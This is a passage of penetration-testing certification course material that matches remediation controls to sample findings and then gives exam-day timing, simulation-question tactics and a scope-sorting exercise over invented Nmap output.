CompTIA does not define infrastructure security controls either. Read the term as the protective equipment and services around systems: firewalls, WAFs, intrusion detection and prevention, and log collection in a security information and event management (SIEM) system. They answer exposure and detection gaps: NSA and CISA put insufficient internal network monitoring in their top ten, describing a team that went undetected even when it tried to be noisy. They rarely remove a flaw, which is why the WAF in F-04 was only interim.

The Windows Update settings screen reading You're up to date, with a red note that some settings are managed by your organization.
Windows Update under organizational management
Software: Microsoft Screenshot: Dion Dresschers - Public domain - Wikimedia Commons
The front panel of a blue firewall appliance with status lights for its WAN and LAN ports.
A small business firewall appliance
Zuzu - CC BY-SA 3.0 - Wikimedia Commons

F-09: what a camera cannot do

Replay F-09 with the cameras installed: the tester still walks in behind the employee, now on video. SP 800-53 is plain about video surveillance: it records activity for later review, and watching live is not required. It fits a different finding, such as a client unable to say afterward who entered the server room, and it needs a review schedule, a retention period and attention to legal limits.

F-09 needs an access control vestibule: a space between two sets of interlocking doors, designed to stop unauthorized people following authorized ones (SP 800-53, PE-3(8)). Older material says mantrap. NIST replaced that word in its December 2020 errata, and the exam uses the new term.

Biometric controls answer a third question. A badge can be lent, stolen or cloned (Lesson 13); a fingerprint cannot be handed over.

Replay F-09 with a fingerprint reader, though, and the employee presents a finger, the door opens and the tester follows. SP 800-63B-4 was written for logins rather than doors, but its cautions carry over:

  • a biometric is not a secret, because prints are left on what people touch
  • matching is probabilistic, with one false match in 10,000 or better as NIST's bar
  • it must be paired with something you have

So recommend badge plus fingerprint, treat the stored data as sensitive personal information, and keep a non-biometric alternative.

A gray wall-mounted fingerprint reader with a lit sensor slot, fixed at the entrance to a building site.
A fingerprint reader controlling entry
User:Amada44 - CC BY-SA 4.0 - Wikimedia Commons
A wall of fifteen large monitors in a control room, each divided into several camera views.
A video surveillance monitor wall
Mark Yeomans - CC BY-SA 4.0 - Wikimedia Commons

F-10: controls for people, which a memo cannot replace

A policy reminder changes nothing in the replay: the clerk can still create a vendor and approve its payments, and nobody else sees the work. Write this kind of finding with care. It describes an opportunity, not a crime, so state that "no misuse was sought or found", and name the control, not the person. Such findings come from an authorized review of access exports or from interviews, not from a scanner.

ControlQuestion it answersHow it works, and what to watch
Role-based access controlWhat may this job do?Rights attach to a role, and people inherit them by holding it (SP 800-53, AC-3(7)). Define roles so nobody can both create a vendor and pay it: separation of duties (AC-5). Review membership, because CISA sees privilege creep often.
Mandatory vacationsWhat surfaces when this person is away?An uninterrupted absence with someone else doing the work. The FDIC's 1995 letter to banks asks for at least two consecutive weeks, because embezzlement of any substantial size usually needs the embezzler's constant presence. If nobody takes over the duties, the benefit can vanish.
Job rotationWho else has seen this work?People move through duties on a schedule, which exposes concealed work and spreads knowledge. SP 800-53 suggests rotating dual-authorization duties to reduce collusion. Old rights must come off at each move (PS-5).
Time-of-day restrictionsWhen may this account work?SP 800-53 names time of day, day of week and point of origin as account attributes (AC-2), with alerts on use outside them; Active Directory's version is logon hours. They limit when, not what.

Policies and procedures fit a finding such as "help desk staff reset passwords for callers with no identity check, and nothing is written down", from an authorized social engineering test. A policy states the requirement, a procedure gives the steps, and the report says how compliance gets checked, which is what F-10's memo lacked. User training is the partner: teach that procedure and how to report a suspicious call. It is the right tool when the gap is knowledge of a workable process, and the wrong one when asked to outperform a design flaw, as in F-05.

Every control in objective 1.5, matched to a finding

The categories are CompTIA's own: systems enforce technical controls, organizations set administrative ones, people perform operational ones, and physical ones are part of the building. Note the surprises: role-based access control and minimum password requirements are administrative though software enforces them, time-of-day restrictions are operational, and process-level remediation is technical. Security+ calls the administrative group managerial. If a stem asks for a category, answer from this list.

Control (CompTIA's category)A finding it actually addressesRetest that proves it
Windows LAPS (not a listed bullet, but expected)One local administrator password on every workstationNo two sampled devices share a password
System hardening (technical)Telnet and vendor defaults left on core switchesPort closed; settings match the baseline
Sanitize user input/parameterize queries (technical)SQL injection in the shipment searchTest cases fail on every route; no string-built SQL
Multifactor authentication (technical)VPN accepts a password alone; unexpected push prompts approvedPassword alone refused; number or security key required
Encryption (technical)Customer records in unencrypted backups; logins over plain HTTPBackup unreadable without its key; plain HTTP and TLS 1.0 refused
Process-level remediation (technical)The workstation build ships a shared passwordA seeded bad change is rejected at the build step
Patch management (technical)17 of 40 servers months behind on available fixesRescan clean; reports show the on-time rate
Key rotation (technical)Cloud key in a repository; signing key past its cryptoperiodOld key refused
Certificate management (technical)Certificates expire without warning; no inventoryInventory matches a scan; renewal automated
Secrets management solution (technical)Database passwords hard-coded in application settingsApplication gets its credential from the vault
Network segmentation (technical)Warehouse PCs reach the finance database directlyFrom the warehouse, database port filtered; permitted flow works
Infrastructure security controls (technical)Authorized internal scan raised no alertRepeat the scan: alert in the agreed time
Role-based access control (administrative)Every finance user is a system administrator; rights copied person to personAccess export shows rights only through roles
Secure software development life cycle (administrative)The same flaw class returns release after releaseRelease records show the security steps
Minimum password requirements (administrative)Portal accepts short and breached passwordsShort and blocklisted passwords refused
Policies and procedures (administrative)Help desk resets passwords with no identity check; nothing writtenRepeat the authorized test: procedure followed
Job rotation (operational)One engineer has made all firewall changes for nine years, unreviewedRecords show duties moved and old rights removed
Time-of-day restrictions (operational)Vendor accounts can log in at any hour; the contract says weekdaysOut-of-hours login refused and alerted
Mandatory vacations (operational)Payroll clerk never absent; nobody else sees the workLeave records show the absence and who did the work
User training (operational)Staff do not know the help desk procedure or how to report a suspicious callRepeat the authorized test: reports arrive
Access control vestibule (physical)Tester followed an employee through the server room doorRepeat the test: tester stopped between doors
Biometric controls (physical)A lent or copied badge opened the server roomBadge alone refused
Video surveillance (physical)Client cannot say afterward who entered the server roomFootage for a stated date can be produced

Worked example: five findings and a tray of controls

A performance-based question (PBQ) on this objective could ask you to drag controls onto findings. This practice item, from a fictional hospital group, is in that style; CompTIA does not publish live items. The tray: Windows LAPS, parameterized queries, encryption, patch management, network segmentation, access control vestibule, video surveillance, job rotation, mandatory vacations. Some are left over.

FindingIt depends onTempting choice, and why it failsBest control
AAn API joins request fields into its SQL; a filter added last quarter did not stop the flawSQL and data mixed in one stringEncryption: the application holds the key, so its queries still return readable rowsParameterized queries
BSame local administrator password on all 230 domain-joined laptopsOne credential valid everywhereEncryption: however it is stored, the same value works on all 230Windows LAPS
CThe imaging PC's operating system left vendor support in 2020; the maker forbids changes; every office network can reach itNo fix exists, and the path is openPatch management: there is nothing to installNetwork segmentation
DA tester walked into the records room behind a staff member; the badge log shows only the staff memberA door that opens for one admits twoVideo surveillance: it records the entry and stops nothingAccess control vestibule
EA treasury officer has approved wire transfers for 11 years with no absence beyond a long weekend; nobody else has done the workNobody else ever sees the workJob rotation: it would also expose the work, but the clue is absence, and two weeks away costs less than moving the roleMandatory vacations

None of the wrong choices is a bad control. Each answers a question the finding did not ask.

Second run: change one fact and the answer flips

Change this factNew best answerWhy it moved
B: the laptops are joined to neither Active Directory nor Microsoft Entra IDStill unique passwords, from another tool that can store themWindows LAPS backs up only to those directories and does not support Entra workplace-joined devices
C: the maker released a fix last month and permits itPatch managementNow there is something to install; segmentation stays useful but no longer leads
D: the tester entered alone, using a lent or copied badgeBiometric controls with the badgeA vestibule admits one person holding a valid badge, so entry must be tied to the person
E: the duties are already split, between the same two people for 11 yearsJob rotationThe remaining risk is collusion, the reason SP 800-53 suggests rotating dual-authorization duties

Exam cues: which control the stem wants

The stem saysIt points toDo not confuse it with
Same local administrator password on many machinesWindows LAPS: unique random passwordsA longer password, 90-day rotation or MFA
Query built from user inputParameterized queriesA WAF, quote filtering or database encryption
Unexpected push prompts approvedPhishing-resistant MFA; number matching in the interimSMS codes, or training alone
Secret found in a repositoryRotate or revoke first, then a secrets management solutionDeleting the file or rewriting history first
Certificates expire without warningCertificate managementKey rotation, which tracks no expiry dates
Unsupported system, no vendor fixSegmentation and a replacement planPatch management, which needs a patch
Noisy internal activity raised no alertInfrastructure security controls, such as monitoringSystem hardening, which adds no detection
Same flaw class returns every releaseSecure SDLC, with process-level remediationFixing only the instances found
One person can both create and approveRole-based access control with separation of dutiesMandatory vacations, which reveal but do not split
Employee never takes leaveMandatory vacationsJob rotation, a scheduled change of duties
Account used at 03:00 with no business reasonTime-of-day restrictionsRole-based access control: what, not when
Followed someone through a controlled doorAccess control vestibuleCameras, which record; a biometric reader, which opens for the employee
Badge lent, stolen or copiedBiometric controls with the badgeA vestibule, which admits a valid badge

How a remediation recommendation is reported

Here is F-01 after review. The shape comes from Lesson 28; the remediation now survives all three questions.

  • Title: One local administrator password is valid on all 412 workstations, so one compromised machine exposes the rest.
  • Severity: High, assigned rather than scored, because this is a control gap. Not Critical, because an attacker first needs administrator rights on one workstation.
  • Evidence: E-03. With a client administrator present, the account's stored hash value matched on all 40 sampled workstations ([hash removed]). The build record shows one value set in the image.
  • Root cause: the workstation build sets one password, and no process changes it afterward.
  • Interim, within 14 days: restrict local accounts at network logon and limit workstation-to-workstation traffic, as CISA advises. This narrows the reach and leaves the shared password in place.
  • Long-term fix, within 45 days: enable Windows LAPS everywhere, with password encryption on and read rights limited to a named support group. Pilot first: Microsoft warns that a LAPS policy can break a deployment workflow that signs in with the managed account.
  • Stop it returning: remove the shared password from the build image. Owner: desktop engineering lead.
  • Will not fix: staff who hold local administrator rights, and domain credentials; reported separately.
  • Retest: sample 20 workstations. Expected: no two stored passwords match, rotation dates are recent, and the test workstation's local credential is refused on the others.

Three habits keep recommendations usable. Name the control first and a product second, and disclose it if your firm sells what you recommend. Offer something the client can do this month beside the best fix, and say what might break. If the client declines, record the risk acceptance rather than rewriting the finding (Lesson 27).

A retest is still testing. Testing a system without its owner's written permission is illegal and wrong, under the US Computer Fraud and Abuse Act and the UK Computer Misuse Act, so confirm that the authorization covers the retest dates.

Common misconceptions

  • "A stronger password fixes any password finding." It does nothing for a password shared across machines. Uniqueness fixes that.
  • "NIST says passwords should never be rotated." The rule stops organizations forcing people to change passwords on a calendar. Evidence of compromise still forces a change, and machine-generated credentials can rotate freely.
  • "A WAF fixes SQL injection." It filters some traffic and leaves the code as it was.
  • "Cameras prevent tailgating." They record it. An access control vestibule prevents it.

Summing up

  • A fix fits only if replaying the finding with the fix in place stops it, and a named retest result proves that.
  • A shared local administrator password needs uniqueness, not length or rotation. Windows LAPS, in Windows since the April 11, 2023 updates, needs Active Directory or Microsoft Entra ID and replaces deprecated legacy Microsoft LAPS.
  • NIST SP 800-63B-4: 15 characters minimum for a single-factor password, 8 only with MFA, a required blocklist check, no composition rules, and no periodic changes except on evidence of compromise.
  • Stored passwords get a salted, slow hash; encryption is for data that must be read again. Parameterized queries fix SQL injection; allow-list validation supports them, and a WAF is an interim virtual patch.
  • CISA calls phishing-resistant MFA (FIDO/WebAuthn or PKI-based) the gold standard, and number matching an interim step against push fatigue.
  • Rotate or revoke an exposed key first, then use a secrets management solution. Public TLS certificates are limited to 200 days now, 100 from March 15, 2027 and 47 from March 15, 2029.
  • With no patch, isolate and state the residual risk. A VLAN needs filtering rules to count as segmentation. Filtered passes a segmentation retest but not a hardening retest.
  • A vestibule stops following, a biometric ties entry to a person, video records for later review. Role-based access control splits duties, mandatory vacations reveal concealment, job rotation counters collusion, and time-of-day restrictions limit when an account works.

Sources

  1. Temoshok, D., Fenton, J., et al. (2025). Digital identity guidelines: Authentication and authenticator management (NIST SP 800-63B-4), sections 3.1.1, 3.1.3, 3.2.3 and Appendix A. National Institute of Standards and Technology. pages.nist.gov
  2. National Security Agency and Cybersecurity and Infrastructure Security Agency. (2023). NSA and CISA red and blue teams share top ten cybersecurity misconfigurations (AA23-278A). cisa.gov; CISA. (2022). Implementing phishing-resistant MFA and Implementing number matching in MFA applications. phishing-resistant MFA (PDF); number matching (PDF); CISA and Federal Bureau of Investigation. (2024). Secure by Design alert: Eliminating SQL injection vulnerabilities in software. cisa.gov
  3. Microsoft. (2026). What is Windows LAPS? and (2025) Windows LAPS architecture. Microsoft Learn. overview; architecture; and (n.d.) Network security: Force logoff when logon hours expire.
  4. OWASP Foundation. (n.d.). OWASP cheat sheet series: SQL injection prevention, input validation, password storage, virtual patching, and secrets management. cheatsheetseries.owasp.org; and Reporting structure, in Web Security Testing Guide (development branch, read 3 November 2026). github.com/OWASP/wstg
  5. Joint Task Force. (2020). Security and privacy controls for information systems and organizations (SP 800-53 Rev. 5), AC-2, AC-3(2), AC-3(7), AC-5, CM-7, PE-3(8), PE-6(3), PS-5 and errata. csrc.nist.gov; Souppaya, M., and Scarfone, K. (2022). Guide to enterprise patch management planning (SP 800-40 Rev. 4), sections 3.3 and 3.5.4. csrc.nist.gov; Souppaya, M., et al. (2022). Secure software development framework version 1.1 (SP 800-218); Barker, E. (2020). Recommendation for key management: Part 1 (SP 800-57 Part 1 Rev. 5); Scarfone, K., et al. (2008). Technical guide to information security testing and assessment (SP 800-115), sections 7.3 and 8.1. nvlpubs.nist.gov (PDF). All National Institute of Standards and Technology.
  6. CA/Browser Forum. (2026). Baseline requirements for the issuance and management of publicly-trusted TLS server certificates (version 2.3.1), section 6.3.2. cabforum.org
  7. GitHub. (n.d.). Removing sensitive data from a repository. GitHub Docs. docs.github.com
  8. Federal Deposit Insurance Corporation. (1995, August 3). FDIC's position on the role of vacation policy as an important internal safeguard (FIL-52-95). fdic.gov
  9. The PTES Team. (n.d.). Reporting. In Penetration Testing Execution Standard (unofficial mirror). pentest-standard.readthedocs.io
Key terms
Windows LAPS
Windows Local Administrator Password Solution, a feature built into Windows that gives each device a unique random local administrator password, rotates it and backs it up to Active Directory or Microsoft Entra ID.
Prepared statement
A database call whose SQL text is fixed in advance, with user values bound separately so they are treated as data rather than code; also called a parameterized query.
Process-level remediation
Changing the workflow step that let a flaw through, such as a build image or a pipeline check, so the flaw cannot recur. CompTIA lists the term as a technical control without defining it.
Compensating control
A measure that lowers risk when the direct fix cannot be applied, such as isolating an unsupported system. The weakness remains, so the residual risk must be stated and accepted.
Secrets management
Centralized storage, provisioning, auditing and rotation of credentials such as API keys and database passwords, so that they do not sit in code or configuration files.
Key rotation
Replacing a cryptographic key with a new one and retiring the old, at the end of its authorized lifetime (its cryptoperiod) or at once after suspected exposure.
Phishing-resistant MFA
Multifactor authentication built to withstand phishing and push bombing, chiefly FIDO/WebAuthn and PKI-based methods; CISA calls it the gold standard.
Access control vestibule
A space between two sets of interlocking doors, designed to stop unauthorized people following authorized ones into a facility; formerly called a mantrap.
Separation of duties
Dividing a business function among different people or roles so that no one person can complete a sensitive action alone.
Mandatory vacation
A rule that staff in sensitive roles take a long uninterrupted absence, commonly two weeks, while someone else does their work, so that concealed activity can surface.

Module 10: Exam Readiness

Bring the whole course together for the exam: tactics for performance-based questions, a time plan for 90 questions in 165 minutes, and a last review driven by your own tracker and the questions you missed.

Exam Day: Performance-Based Questions, Time, and the Last Review

  • Budget the 165 minutes across multiple-choice items, simulations, a return visit and a last look, and show the arithmetic.
  • Work a simulation PBQ using only what CompTIA publishes about it: the Reset button, skipping and returning, saved work, partial credit and more than one valid solution.
  • Sort scan evidence against a signed scope, and explain how one changed detail changes the decision.
  • Build a final study plan from the domain weights, your objective tracker and spaced retrieval, and explain why brain dumps have no place in it.

Minute 41, question 6, and a half-finished simulation

It is minute 41 of 165. You have answered five of the 90 questions, and the sixth is a simulation: an extract from a client's rules of engagement (ROE), a block of Nmap output and an empty sorting grid. You have been on it for nine minutes. Four rows are filled and two are not. Do you stay and finish, or leave?

Count before you decide. Minutes left: 165 - 41 = 124. Questions left, counting this one: 85. That is 124 / 85 = 1.46 minutes each, about 1 minute 28 seconds, so nothing is lost yet. Stay 15 more minutes and the sum becomes 109 minutes for 84 questions, about 1 minute 18 seconds each, with no slack for any other simulation or for checking your work. Leaving costs far less than it feels like it does, because CompTIA says a simulation saves your work when you move on and lets you come back.[3] So the choice is between now and later, and the right call is later.

That scene is invented. CompTIA's objectives and PBQ pages do not say how many performance-based questions an exam holds, where they fall or what they ask.[1][3] Nothing in this lesson reconstructs a real exam item. The lesson works the three problems the scene raises: how to split the clock, how to work a simulation and leave it safely, and how to spend your last weeks of study. No course can promise you a pass, and this one does not, but it can remove avoidable losses.

Exam objectives: no new objective. The lesson reviews all five domains, 1.0 to 5.0, through the exam's two question types, multiple-choice and performance-based, and uses the 750 passing score on the 100-900 scale that Lesson 1 introduced.[2]

Why 1 minute 50 seconds is the wrong budget

The exam allows at most 90 questions in 165 minutes, which Lesson 1 worked out as about 1.83 minutes, or 1 minute 50 seconds, per question.[2] Spend exactly that on everything and the plan breaks twice. A simulation that needs six decisions is unlikely to fit into 110 seconds, so each one runs over. And a plan that spends the whole average has no minutes left to come back with. The repair is to budget three buckets instead of one pace.

The exam        165 minutes, at most 90 questions
Average         165 / 90 = 1.83 minutes, about 1 min 50 s

Three buckets
  First pass    90 x 1.5 minutes = 135 minutes   every question, once
  Return visit                      15 minutes   unfinished simulations
  Last look                         15 minutes   doubtful items, any blanks
  Check         135 + 15 + 15 = 165

Inside the first pass, if 84 were multiple-choice and 6 were simulations
  Multiple-choice   84 x 1.25 minutes (75 s)  = 105 minutes
  Simulations        6 x 5 minutes            =  30 minutes
  Total                                         135 minutes

Checkpoints     minute 45:  question 30
                minute 90:  question 60
                minute 135: question 90

Holding back 30 of the 165 minutes forces the first pass down to 1.5 minutes a question, 20 seconds under the average. Those seconds pay for coming back: 90 x 20 s = 1,800 s = 30 minutes. Inside the pass, a multiple-choice item gets 75 seconds and a simulation gets five minutes at first meeting. The checkpoints are the only part to memorize: 30 questions every 45 minutes.

The 6 in that block is a planning number, not a fact about the exam, so test the plan against several:

If the exam held this many simulationsMultiple-choice items (90 minus simulations)Their minutes at 75 s eachSimulation minutes at 5 eachFirst pass totalLeft for return visit and last look (165 minus first pass)
387108.7515123.7541.25
6841053013530
981101.2545146.2518.75
127897.560157.57.5

These rows are arithmetic, not a forecast. Five minutes per simulation survives a wide range and starts to hurt only in the bottom row, where a cap of about four minutes would restore most of the reserve. You do not need the true number in advance: when the first pass ends you have met every simulation, so divide the minutes left by the simulations still unfinished. And 90 is a maximum, so a shorter exam only loosens the plan.

Now change one input. Suppose your timed practice shows 95 seconds per multiple-choice item, not 75. At 84 items that is 84 x 95 s = 7,980 s = 133 minutes. Add 30 for simulations and the first pass ends at minute 163, with 2 minutes left. Twenty extra seconds per item cost 28 minutes, almost twice the opening scene's extra 15 minutes on one simulation. Your multiple-choice pace is the largest line in the budget, so measure it and use your own number: minutes left = 165 - (multiple-choice items x pace) - (simulations x cap).

Key idea: budget three buckets, not one pace. Hold 30 questions every 45 minutes through the first pass, then spend the remaining 30 minutes on unfinished simulations and doubtful items.

What CompTIA says a simulation is, and what to do about it

CompTIA's explainer divides performance-based questions (PBQs) into simulations, which approximate a tool or environment such as a firewall, a network diagram, a terminal window or an operating system, and virtual environments, which run real systems. It lists PenTest+ among the exams with simulation PBQs; only SecurityX is listed with both kinds.[3]

What CompTIA publishesWhat you do with it
A simulation covers the whole testing area and has a Reset button.[3]That is how you recognize one
You can skip it and return. Work is saved as you go and when you press Next or Previous.[3]Never stay out of fear of losing work. Enter what you have and move
Reset clears that question only, and removes all your work on it.[3]Reset is not an undo. If four of six entries are right, fix the other two by hand
The question and instructions are always available: the window can be minimized, moved and resized, and a show question button brings it back.[3]Move the window off the exhibit, and reread the task before you leave
Simulations typically have restricted functionality but allow several responses or paths.[3]If an option you expected is missing, use what is offered
There may be more than one way to a correct answer, and the correct solution earns the score.[3]Do not hunt for one intended route. Any path that reaches the right result will do
Some PBQs may offer partial credit, some may carry more points, and the details are confidential.[3]You cannot tell which is which, so fill every field of every simulation

The same PBQ page has a Try a simulation PBQ button leading to a sample that CompTIA says is not from any exam.[3] Spend ten minutes on it before exam day, pressing Reset, Next and show question until the buttons cost you no thought. None of the CompTIA pages this course read mentions a penalty for a wrong answer.[3][4] A blank cannot earn credit, so leave no field empty and no multiple-choice item unanswered.

Five moves for working any simulation

A routine saves you from deciding what to do first while the clock runs. The order is deliberate.

  1. Ask. Find the sentence that says what to produce, and how many of what, so you read the exhibits knowing what you are looking for.
  2. Limits. Read the scope, the ROE and any word such as only, first or without. A perfect reading of a host you may not touch is still wrong.
  3. Evidence. Read the details rather than the tool's name: the state column, the version string, the source and destination. Ask the question from Lesson 12: how does the tool know?
  4. Sure rows. Enter what you are certain of first. Those entries bank whatever credit exists and make the hard rows easier to eliminate.
  5. Exit. At five minutes, put your best judgment in every empty field, note the question number and press Next. On the return visit, read the task again and correct by hand.

Worked simulation: sorting Nmap lines against a signed scope

Here is a task in that style, built from this course's own material. The client and every line are invented, and the sorting grid is this course's choice of format, not a copy or a prediction of any exam item. Give yourself five minutes before you read the solution.

EXHIBIT 1: Rules of engagement, extract
Client      Fernhollow Clinic (fictional)
Signed by   Chief information officer, valid 2-6 November 2026
In scope    198.51.100.0/25
Excluded    198.51.100.40 (imaging server, vendor-managed)
Window      20:00-02:00 clinic time
Allowed     discovery, enumeration, version detection, safe scripts
Needs written approval first   exploitation; anything that could stop a service

EXHIBIT 2: Last night's saved scan results (sample output, invented)
Nmap scan report for 198.51.100.17
Not shown: 996 closed tcp ports (reset)
PORT     STATE    SERVICE       VERSION
22/tcp   open     ssh           OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (protocol 2.0)
23/tcp   open     telnet        Linux telnetd
443/tcp  open     ssl/http      nginx 1.24.0
3389/tcp filtered ms-wbt-server

Nmap scan report for 198.51.100.25
Not shown: 998 closed tcp ports (reset)
PORT    STATE SERVICE     VERSION
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2
Host script results:
| smb-protocols:
|   dialects:
|     NT LM 0.12 (SMBv1) [dangerous, but default]
|_    [later dialects removed]

Nmap scan report for 198.51.100.130
Not shown: 999 closed tcp ports (reset)
PORT    STATE SERVICE  VERSION
443/tcp open  ssl/http nginx 1.18.0
| ssl-cert: Subject: commonName=portal.example.com
|_Not valid after:  2026-03-02T23:59:59

EXHIBIT 3: Notes
Scanner note, 198.51.100.17 port 22: installed OpenSSH is older than the fixed
  upstream release; possible vulnerability. Detection method: version string.
Teammate's plan: add 198.51.100.40 to tonight's targets, since the range covers it.

Your task: sort each line into exactly one column: Report as a finding, Validate before reporting, Record as a limitation, or Outside the authorization.

  • A. 198.51.100.17: 23/tcp open telnet
  • B. 198.51.100.17: 3389/tcp filtered
  • C. 198.51.100.17: the scanner note on OpenSSH
  • D. 198.51.100.25: smb-protocols lists SMBv1
  • E. 198.51.100.130: certificate on 443/tcp expired on 2 March 2026
  • F. The teammate's plan to add 198.51.100.40

Work the moves. Ask: six lines, one column each. Limits: a /25 fixes the first 25 of 32 bits and leaves 7, so it holds 27 = 128 addresses, 198.51.100.0 to 198.51.100.127, and one address inside it, .40, is excluded by name. Sure rows: E and F fall out at once from the limits, and B from the state column. Evidence: for what remains, ask how the tool knows. Exit: reread the task and check that six lines have six entries.

LineColumnWhyThe tempting mistake
AReport as a findingAn in-scope host offers a cleartext remote login. The claim rests on the service being there, not on a version numberValidate first, though nothing here depends on a version
BRecord as a limitationFiltered means packet filtering stopped the probes, so Nmap cannot determine whether the port is open.[6]"Remote Desktop exposed" or "closed": both claim knowledge the scan did not produce
CValidate before reportingThe scanner compared a number in a string. Compare the installed package with the vendor's fixed versionReporting it at the scanner's severity
DReport as a findingThe script watched the server offer SMBv1 during negotiation, so the behavior itself was observedValidate first, because a script reported it
EOutside the authorization.130 is past .127. The scan touched a host the signature does not cover: stop using that target list, save the logs and call the named contact, as Lesson 27 teachesWriting it up as a finding because the evidence looks good
FOutside the authorization.40 is inside the range and excluded by name. An exclusion beats a range, so decline the plan"The /25 covers it"

Lines C and D look alike and land in different columns, which is the reason to do this exercise. D's evidence is behavior the tool saw: smb-protocols attempts to list the dialects a server supports, and like ssl-cert it sits in Nmap's safe category, so the ROE allows it.[6] C's evidence is a version string, which can stay old after a fix because vendors back-port patches; Red Hat warns that a package's version number alone will not tell you whether it is vulnerable.[7]

Line A ends in a report, so finish the job in the form Module 9 taught.

  • Title: Telnet enabled on 198.51.100.17.
  • Severity: High. Logins and session data on this service would cross the clinic's network in clear text. It is not rated Critical because capture needs a position on the network path, and no capture or login was attempted.
  • Evidence: the saved scan file, with date, time and source address, showing 23/tcp open telnet Linux telnetd.
  • Root cause: a legacy remote-access service left enabled, with no build check that would catch it; confirm with the server team.
  • Remediation: disable Telnet, use SSH, and add the check to the build baseline. Retest by rescanning port 23 and expect closed: filtered would show only a firewall in front of it, which passes a segmentation retest but not a hardening one.

Second run: one digit in a CIDR range flips line E

Change one character in Exhibit 1: 198.51.100.0/25 becomes 198.51.100.0/24. CIDR arithmetic now leaves 8 host bits, 28 = 256 addresses, .0 to .255, and .130 is inside. Line E has not changed a letter, yet its decision reverses. Under /25 it is a touch outside the authorization, and you stop and call. Under /24 it is an ordinary finding: a certificate that expired on 2 March 2026 on an in-scope service.

Line F does not move. Its address was already inside the range, and the exclusion is a separate line that /24 leaves untouched. One caution: this run assumes the ROE said /24 before the scan. An amendment signed after the scan authorizes the next scan, and the earlier touch still gets disclosed.

Single details flip other lines the same way. Use this table as a drill: cover the last two columns and predict them.

Change one detailLineNew decisionWhy
3389/tcp filtered becomes closedBNo entry neededA reset is a definite reply: the host is reachable and nothing listens, so no unknown remains
The client's package list shows the vendor's fixed build installedCClose it as a false positive, with a noteThe fix was back-ported, and only the version string looked old
The same list shows a build older than the vendor's fixCReport as a findingA true positive, confirmed by a different method from the one that raised it

Key idea: the same line of output can belong in different columns, depending on a detail elsewhere on the screen. Read the limits before the evidence, and ask how the tool knows before you trust a line.

Reading a multiple-choice stem with the same habits

A multiple-choice item has no Reset button, and the same questions settle it. Ask them in order, because an early answer can end the question. Is it authorized? Is anyone or anything in danger? Is the evidence validated? What is the least intrusive step that answers the question? Who will read the result? Stem words help too. First and next ask about order, so find what must happen before the impressive step. Best and most likely admit that several options could work, so let the constraints choose.

Try one, written for this course. During cleanup on a fictional client's server, a tester finds a scheduled task named svc_update. What should the tester do next? (A) Delete it, since cleanup leaves the host as it was found. (B) Export it, delete it and mention it in the report. (C) Check the activity log, and if the task is not on the record, leave it in place and escalate. (D) Run it once to see what it does.

A and B sound tidy, and D sounds curious. The authorization question rules out all three: your cleanup authority covers what you placed, and nothing yet shows that you placed this. Lesson 26's rule applies: something not on your record means stop, leave it, escalate, save and hash your logs, and hold destruction, because it may be another party's work and it may be evidence. So the choice is C. Now change one detail: the stem adds that the task appears in the tester's own log, with its creation time. The log settles ownership, and removing it, then verifying and recording the removal, becomes correct.

Pairs to separate in your last review

Each pair was taught, with its sources, in the lesson that covers it. This is a list of distinctions to retrieve, not a list of exam content. Cover the middle column, read the stem wording, and say the term before you look.

The stem saysIt points toDo not confuse it with
Standing legal terms for future workMSA (master service agreement)SoW (statement of work), this project's tasks
Something restricted what could be testedLimitationAssumption, something taken on trust without checking
Which addresses are alive, with no port scan?-sn-Pn, which skips discovery and scans ports anyway
SYN answered by RSTclosedfiltered, which means silence or ICMP unreachable
Find pages nothing links toDirectory enumeration with a wordlistWeb crawling, which follows links
Reported, but absent on checkingFalse positiveFalse negative: present but never reported
Reads code without running itSAST (static application security testing)DAST (dynamic application security testing), which needs a running application
Names one specific flawCVE (Common Vulnerabilities and Exposures)CWE (Common Weakness Enumeration), the class of mistake
Probability of exploitation in the next 30 daysEPSS (Exploit Prediction Scoring System)CVSS (Common Vulnerability Scoring System) base score, which measures severity
Read-only audit of a cloud accountProwler, ScoutSuitePacu, which exploits
The server calculated the input before any browser saw itServer-side template injectionCross-site scripting, which runs in the browser
The target connects out to the testerReverse shellBind shell: the target listens and the tester connects in
A setting holds a third value, neither yours nor the originalSomeone else changed it, so askReverting it, which is right only for your own change

Brain dumps: the shortcut that can cost every certification you hold

Page 2 of the PT0-003 objectives document carries a policy paragraph. CompTIA says there that people who use unauthorized third-party training sites, which it also calls brain dumps, to prepare for any CompTIA exam "will have their certifications revoked and be suspended from future testing".[1] Read the plural: the sanction is not limited to the exam in front of you. CompTIA's FAQ adds that there could be legal consequences.[5]

CompTIA's blog says dumps come from test takers pooling their memories of questions, and it names two warning signs: a site that calls itself a brain dump and a site that promotes "actual exam questions".[5] CompTIA also says that contributing to one carries the same consequences as using one. It adds that most of the content is wrong, and that it can use data forensics to identify candidates with prior knowledge of an exam.[5]

The rule aside, a dump would not train what you have just practiced. Memorizing a key teaches you one screen, and line E shows why that fails: change one digit and the memorized entry is wrong.

Your own notes, study groups, videos and open forums are fine, CompTIA's FAQ says, as long as nothing posts or shares real exam questions or answers.[5] If you are unsure about a resource, use CompTIA's Training Resource Review Tool or write to examsecurity@comptia.org.[5] If you realize you have already used a dump, stop and contact that team; the FAQ says you will have a chance to explain.[5] After your exam you still may not discuss, post or share what you saw.[4] Every question in this course was written for the course, as Lesson 1 says.

Your tracker, the five weights, and where the hours go

Everything from here runs on the tracker from Lesson 1's lab. If you skipped that lab, build it now, on paper or in a spreadsheet; it takes about half an hour. It has one row for each of the 26 objectives, 1.1 to 5.4. The columns are:

  • the topics in your own words
  • the lessons that teach it
  • the domain weight
  • your confidence from 1 to 5
  • your first quiz score
  • your score a week later
  • notes

Mark the 18 rows that begin "Given a scenario".[1]

Keep all 26 rows, because the exam's blueprint does not shrink to fit your study. If a row has no lesson beside it, or a lesson you skipped, rate it 1 and start it from the objectives document.

CompTIA publishes five domain weights, shown in the first column below.[1] A weight tells you how many points a domain holds: 35 percent of 90 is 31.5 questions, though that is arithmetic and not a count for your exam. But weight alone answers the wrong question, because your last weeks should go where most of those points are still missing. So multiply each weight by your gap, where gap means the share of delayed, mixed questions you still miss. Here is Sam, a fictional learner with 40 study hours left. Take Domain 5: 14 x 0.50 = 7.00, and 7.00 / 32.15 x 40 = 8.7 hours.

Domain and weightDelayed scoreGapWeight x gapHours by weight aloneHours by weight x gap
